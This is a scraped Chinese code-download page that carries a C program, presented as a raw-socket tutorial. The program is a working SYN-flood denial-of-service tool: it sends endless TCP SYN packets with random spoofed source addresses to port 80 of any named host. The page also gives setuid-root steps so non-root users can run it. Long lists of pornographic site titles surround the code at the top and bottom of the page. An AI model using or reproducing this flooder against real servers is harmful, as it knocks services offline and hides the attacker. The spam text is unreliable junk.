亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? 一個(gè)原始套接字的實(shí)例.c

?? 使用原始套接字編程
?? C
字號:
/******************** DOS.c *****************/   
#include <sys/socket.h>   
#include <netinet/in.h>   
#include <netinet/ip.h>   
#include <netinet/tcp.h>   
#include <stdlib.h>   
#include <errno.h>   
#include <unistd.h>   
#include <stdio.h>   
#include <netdb.h>   

#define DESTPORT 80 /* 要攻擊的端口(WEB) */   
#define LOCALPORT 8888   

void send_tcp(int sockfd,struct sockaddr_in *addr);   
unsigned short check_sum(unsigned short *addr,int len);   

int main(int argc,char **argv)   
{   
int sockfd;   
struct sockaddr_in addr;   
struct hostent *host;   
int on=1;   

if(argc!=2)   
{   
fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);   
exit(1);   
}   

bzero(&addr,sizeof(struct sockaddr_in));   
addr.sin_family=AF_INET;   
addr.sin_port=htons(DESTPORT);   

if(inet_aton(argv[1],&addr.sin_addr)==0)   
{   
host=gethostbyname(argv[1]);   
if(host==NULL)   
{   
fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));   
exit(1);   
}   
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);   
}   

/**** 使用IPPROTO_TCP創(chuàng)建一個(gè)TCP的原始套接字 ****/   

sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);   
if(sockfd<0)   
{   
fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));   
exit(1);   
}   
/******** 設(shè)置IP數(shù)據(jù)包格式,告訴系統(tǒng)內(nèi)核模塊IP數(shù)據(jù)包由我們自己來填寫 ***/   

setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));   

/**** 沒有辦法,只用超級護(hù)用戶才可以使用原始套接字 *********/   
setuid(getpid());   

/********* 發(fā)送炸彈了!!!! ****/   
send_tcp(sockfd,&addr);   
}   



/******* 發(fā)送炸彈的實(shí)現(xiàn) *********/   
void send_tcp(int sockfd,struct sockaddr_in *addr)   
{   
char buffer[100]; /**** 用來放置我們的數(shù)據(jù)包 ****/   
struct ip *ip;   
struct tcphdr *tcp;   
int head_len;   

/******* 我們的數(shù)據(jù)包實(shí)際上沒有任何內(nèi)容,所以長度就是兩個(gè)結(jié)構(gòu)的長度 ***/   

head_len=sizeof(struct ip)+sizeof(struct tcphdr);   

bzero(buffer,100);   

/******** 填充IP數(shù)據(jù)包的頭部,還記得IP的頭格式嗎? ******/   
ip=(struct ip *)buffer;   
ip->ip_v=IPVERSION; /** 版本一般的是 4 **/   
ip->ip_hl=sizeof(struct ip)>>2; /** IP數(shù)據(jù)包的頭部長度 **/   
ip->ip_tos=0; /** 服務(wù)類型 **/   
ip->ip_len=htons(head_len); /** IP數(shù)據(jù)包的長度 **/   
ip->ip_id=0; /** 讓系統(tǒng)去填寫吧 **/   
ip->ip_off=0; /** 和上面一樣,省點(diǎn)時(shí)間 **/   
ip->ip_ttl=MAXTTL; /** 最長的時(shí)間 255 **/   
ip->ip_p=IPPROTO_TCP; /** 我們要發(fā)的是 TCP包 **/   
ip->ip_sum=0; /** 校驗(yàn)和讓系統(tǒng)去做 **/   
ip->ip_dst=addr->sin_addr; /** 我們攻擊的對象 **/   

/******* 開始填寫TCP數(shù)據(jù)包 *****/   
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));   
tcp->source=htons(LOCALPORT);   
tcp->dest=addr->sin_port; /** 目的端口 **/   
tcp->seq=random();   
tcp->ack_seq=0;   
tcp->doff=5;   
tcp->syn=1; /** 我要建立連接 **/   
tcp->check=0;   


/** 好了,一切都準(zhǔn)備好了.服務(wù)器,你準(zhǔn)備好了沒有?? ^_^ **/   
while(1)   
{   
/** 你不知道我是從那里來的,慢慢的去等吧! **/   
ip->ip_src.s_addr=random();   

/** 什么都讓系統(tǒng)做了,也沒有多大的意思,還是讓我們自己來校驗(yàn)頭部吧 */   
/** 下面這條可有可無 */   
tcp->check=check_sum((unsigned short *)tcp,   
sizeof(struct tcphdr));   
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));   
}   
}   

/* 下面是首部校驗(yàn)和的算法,偷了別人的 */   
unsigned short check_sum(unsigned short *addr,int len)   
{   
register int nleft=len;   
register int sum=0;   
register short *w=addr;   
short answer=0;   

while(nleft>1)   
{   
sum+=*w++;   
nleft-=2;   
}   
if(nleft==1)   
{   
*(unsigned char *)(&answer)=*(unsigned char *)w;   
sum+=answer;   
}   

sum=(sum>>16)+(sum&0xffff);   
sum+=(sum>>16);   
answer=~sum;   
return(answer);   
}   

編譯一下,拿localhost做一下實(shí)驗(yàn),看看有什么結(jié)果.(千萬不要試別人的啊). 為了讓普通用戶可以運(yùn)行這個(gè)程序,我們應(yīng)該將這個(gè)程序的所有者變?yōu)閞oot,且 設(shè)置setuid位   

[root@hoyt /root]#chown root DOS   
[root@hoyt /root]#chmod +s DOS   


總結(jié)   
原始套接字和一般的套接字不同的是以前許多由系統(tǒng)做的事情,現(xiàn)在要由我們自己來做了. 不過這里面是不是有很多的樂趣呢. 當(dāng)我們創(chuàng)建了一個(gè)TCP套接字的時(shí)候,我們只是負(fù)責(zé)把我們要發(fā)送的內(nèi)容(buffer)傳遞給了系統(tǒng). 系統(tǒng)在收到我們的數(shù)據(jù)后,回自動(dòng)的調(diào)用相應(yīng)的模塊給數(shù)據(jù)加上TCP頭部,然后加上IP頭部. 再發(fā)送出去.而現(xiàn)在是我們自己創(chuàng)建各個(gè)的頭部,系統(tǒng)只是把它們發(fā)送出去. 在上面的實(shí)例中,由于我們要修改我們的源IP地址,所以我們使用了setsockopt函數(shù),如果我們只是修改TCP數(shù)據(jù),那么IP數(shù)據(jù)一樣也可以由系統(tǒng)來創(chuàng)建的. 

?? 快捷鍵說明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
亚洲免费在线视频一区 二区| 国产成人精品一区二| 一本大道av伊人久久综合| 亚洲天堂av一区| 欧美日韩亚洲国产综合| 日韩电影在线免费| 91精品国产丝袜白色高跟鞋| 日韩成人免费电影| 国产三级欧美三级| 色综合天天性综合| 久久精品国产免费| 中文字幕亚洲一区二区av在线| 日本道免费精品一区二区三区| 免费看日韩a级影片| 国产精品国产三级国产aⅴ入口| 91在线观看美女| 激情久久五月天| 亚洲精品综合在线| 26uuu另类欧美| 91国内精品野花午夜精品| 国产又粗又猛又爽又黄91精品| 成人免费一区二区三区在线观看| 日韩精品一区在线| 91免费小视频| 成人免费av网站| 国精产品一区一区三区mba视频 | 欧美一区二区三区四区久久 | 亚洲成a人片在线不卡一二三区| 久久色.com| 欧美mv和日韩mv国产网站| 欧美亚日韩国产aⅴ精品中极品| 国产福利一区二区| 国产久卡久卡久卡久卡视频精品| 日产国产高清一区二区三区| 亚洲高清一区二区三区| 中文乱码免费一区二区| 久久久五月婷婷| 国产精品系列在线| 中文在线一区二区 | 欧美一区二区三区日韩视频| 欧美在线啊v一区| 5858s免费视频成人| 欧美一区二区网站| 国产免费观看久久| 亚洲人成人一区二区在线观看| 亚洲一线二线三线视频| 日韩福利视频网| 国产suv精品一区二区6| 色欲综合视频天天天| 日本道免费精品一区二区三区| 欧美一区二区三区思思人| 精品国产一区二区在线观看| 久久久久国色av免费看影院| 亚洲免费毛片网站| av高清久久久| 884aa四虎影成人精品一区| 91丨porny丨国产| 成人福利视频在线看| 美腿丝袜亚洲一区| 欧美日韩黄色一区二区| 国产精品香蕉一区二区三区| 国产精品白丝av| 欧美一区二区三区婷婷月色 | 在线成人免费视频| 欧美国产精品v| 国产一区二区三区最好精华液| 日本久久电影网| 日韩欧美高清在线| 夜夜嗨av一区二区三区四季av | 久久综合九色欧美综合狠狠| 一级精品视频在线观看宜春院| 美女视频一区二区| 精品久久国产老人久久综合| 日本欧美一区二区三区| 欧美日韩卡一卡二| 一区二区三区四区在线| bt7086福利一区国产| 国产清纯在线一区二区www| 精品中文av资源站在线观看| 日韩亚洲欧美综合| 天堂成人国产精品一区| 在线不卡欧美精品一区二区三区| 午夜在线成人av| 欧美日韩午夜精品| 久久国产精品一区二区| 久久久久久一二三区| zzijzzij亚洲日本少妇熟睡| 日韩美女视频一区二区| 色av一区二区| 免费成人结看片| 中文一区在线播放 | 欧美精品三级日韩久久| 免费高清在线一区| 中文字幕一区三区| 678五月天丁香亚洲综合网| 国产一区在线不卡| 亚洲精品日韩一| 欧美精品一区二区三区蜜臀| 一本一本大道香蕉久在线精品| 日韩高清不卡在线| 亚洲欧美一区二区三区极速播放 | 久久99久久久欧美国产| 国产精品久久久久久久久动漫| 7777精品伊人久久久大香线蕉经典版下载| 免费的成人av| 一区二区三区美女视频| 久久综合99re88久久爱| 欧美色图一区二区三区| 国产精品一区久久久久| 久久精品国产秦先生| 日本特黄久久久高潮 | 视频一区欧美精品| 亚洲一级在线观看| 亚洲天堂精品在线观看| 国产精品麻豆欧美日韩ww| 久久影院视频免费| 337p日本欧洲亚洲大胆精品| 91精品国产免费久久综合| 欧美日韩在线直播| 3atv一区二区三区| 日韩一卡二卡三卡四卡| 精品日产卡一卡二卡麻豆| 欧美一三区三区四区免费在线看| 欧美日韩在线观看一区二区| 欧美视频三区在线播放| 欧美人狂配大交3d怪物一区| 欧美午夜精品一区二区三区| 在线观看视频91| 91精品国产高清一区二区三区| 91精品免费观看| 国产亚洲精品福利| 亚洲欧洲精品一区二区三区 | 欧美女孩性生活视频| 欧美精品色综合| 国产午夜一区二区三区| 综合亚洲深深色噜噜狠狠网站| 一区二区三区高清在线| 日韩成人一级片| 91麻豆国产香蕉久久精品| 在线观看欧美黄色| 国产日韩精品一区二区浪潮av | 日韩欧美不卡在线观看视频| 国产日产欧美一区二区视频| 亚洲高清免费一级二级三级| 麻豆91精品视频| 欧美日韩精品二区第二页| 欧美精彩视频一区二区三区| 亚洲成人av资源| 色www精品视频在线观看| 国产精品午夜在线观看| 韩国一区二区视频| 欧美二区在线观看| 亚洲制服丝袜av| 成人午夜av电影| 国产美女av一区二区三区| 日韩黄色免费网站| 91网站在线观看视频| 中文字幕精品—区二区四季| 老司机精品视频在线| 日韩欧美亚洲另类制服综合在线| 亚洲国产欧美日韩另类综合| 色94色欧美sute亚洲线路一ni| 日本一区二区三区四区| 国产成人三级在线观看| 国产日韩欧美一区二区三区乱码 | 欧美一级久久久久久久大片| 亚洲午夜久久久久久久久久久 | 国产91精品入口| 国产视频不卡一区| 99视频精品在线| 天涯成人国产亚洲精品一区av| 欧美日韩激情在线| 蜜桃精品在线观看| 国产色产综合产在线视频| 成人h动漫精品| 亚洲成人先锋电影| 26uuu国产电影一区二区| 93久久精品日日躁夜夜躁欧美| 亚洲国产精品久久不卡毛片| 欧美va亚洲va在线观看蝴蝶网| 成人性色生活片| 奇米色777欧美一区二区| 亚洲欧洲日本在线| 欧美一区二区三区爱爱| 麻豆精品视频在线观看视频| 国产精品久久久久四虎| 欧美日韩免费观看一区三区| 国产黄色精品网站| 午夜欧美大尺度福利影院在线看| 久久久国产精华| 日韩欧美在线网站| 欧美视频一区二区三区在线观看| 免费成人在线网站| 亚洲一级二级在线| 国产精品乱人伦| 中文字幕国产精品一区二区| 制服丝袜日韩国产| 6080日韩午夜伦伦午夜伦| 色综合久久久久综合99| 99re这里只有精品首页|